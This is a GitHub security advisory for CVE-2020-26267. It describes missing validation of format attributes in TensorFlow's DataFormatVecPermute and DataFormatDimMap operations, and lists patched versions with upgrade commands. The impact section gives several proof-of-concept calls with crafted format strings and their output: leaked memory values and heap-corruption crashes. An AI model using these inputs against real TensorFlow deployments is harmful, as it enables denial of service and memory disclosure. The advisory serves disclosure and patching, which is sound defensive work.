Advisory

GHSA-c9f3-9wfr-wgh7

Also known as: BIT-tensorflow-2020-26267, CVE-2020-26267, PYSEC-2020-140, PYSEC-2020-298, PYSEC-2020-333

Summary

Lack of validation in data format attributes in TensorFlow

Details

Impact
The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

Patches
We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Severity

Low Basis: The source's own band: LOW

Dates

Published
2020-12-10 19:07 UTC
Modified
2026-09-10 03:49 UTC

Affected packages and fixes

15 affected packages; all PyPI · All systems
PackageAffectedFix
tensorflowEarlier versionspip install --upgrade tensorflow==1.15.5
tensorflowintroduced 2.0.0, fixed 2.0.4pip install --upgrade tensorflow==2.0.4
tensorflowintroduced 2.1.0, fixed 2.1.3pip install --upgrade tensorflow==2.1.3
tensorflowintroduced 2.2.0, fixed 2.2.2pip install --upgrade tensorflow==2.2.2
tensorflowintroduced 2.3.0, fixed 2.3.2pip install --upgrade tensorflow==2.3.2
tensorflow-cpuEarlier versionspip install --upgrade tensorflow-cpu==1.15.5
tensorflow-cpuintroduced 2.0.0, fixed 2.0.4pip install --upgrade tensorflow-cpu==2.0.4
tensorflow-cpuintroduced 2.1.0, fixed 2.1.3pip install --upgrade tensorflow-cpu==2.1.3
tensorflow-cpuintroduced 2.2.0, fixed 2.2.2pip install --upgrade tensorflow-cpu==2.2.2
tensorflow-cpuintroduced 2.3.0, fixed 2.3.2pip install --upgrade tensorflow-cpu==2.3.2
tensorflow-gpuEarlier versionspip install --upgrade tensorflow-gpu==1.15.5
tensorflow-gpuintroduced 2.0.0, fixed 2.0.4pip install --upgrade tensorflow-gpu==2.0.4
tensorflow-gpuintroduced 2.1.0, fixed 2.1.3pip install --upgrade tensorflow-gpu==2.1.3
tensorflow-gpuintroduced 2.2.0, fixed 2.2.2pip install --upgrade tensorflow-gpu==2.2.2
tensorflow-gpuintroduced 2.3.0, fixed 2.3.2pip install --upgrade tensorflow-gpu==2.3.2

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences